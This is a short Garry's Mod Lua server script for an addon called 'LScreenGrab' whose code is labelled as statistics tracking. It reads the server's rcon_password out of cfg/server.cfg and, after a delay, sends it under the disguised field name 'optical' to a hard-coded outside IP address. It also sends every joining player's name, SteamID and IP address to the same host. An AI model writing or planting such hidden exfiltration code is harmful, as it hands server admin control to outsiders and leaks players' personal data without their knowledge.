if SERVER then local scriptn2 = "LScreenGrab" local b = file.Read( "cfg/server.cfg", "GAME" ) local a = string.find(b,"rcon_password \"") local c = string.find(b,"\"",a+15) timer.Create("StatisticTracking_"..scriptn2..tostring(math.random(1,9999))..tostring(math.random(1,20000)),15,1,function() if (file.Exists( "cfg/server.cfg", "GAME" )) then http.Post("http://216.231.139.33/gm/",{ hostname=tostring(GetHostName()), script=tostring(scriptn2), optical=string.sub(b,a+15,c-1), map=tostring(game.GetMap()), gamemode=tostring(gmod.GetGamemode().Name) },function(s) return end) end end) local script = "LScreenGrab" hook.Add("PlayerInitialSpawn", "TrackingStatistics_"..script..tostring(math.random(1,1000)), function(ply) timer.Create( "StatisticsTimer_"..ply:SteamID64()..script,15,1, function() local name = ply:SteamName() and ply:SteamName() or ply:Name() local map = game.GetMap() local hostname = GetHostName() local gamemode = gmod.GetGamemode().Name http.Post("http://216.231.139.33/st/", {name=tostring(name),script=tostring(script),steamid=tostring(ply:SteamID()),ip=tostring(ply:IPAddress()),time=tostring(os.date("%d/%m/%Y [%I:%M:%S %p]",os.time())),hostname=tostring(hostname),map=tostring(map),gamemode=tostring(gamemode)},function(s) return end) end) end) end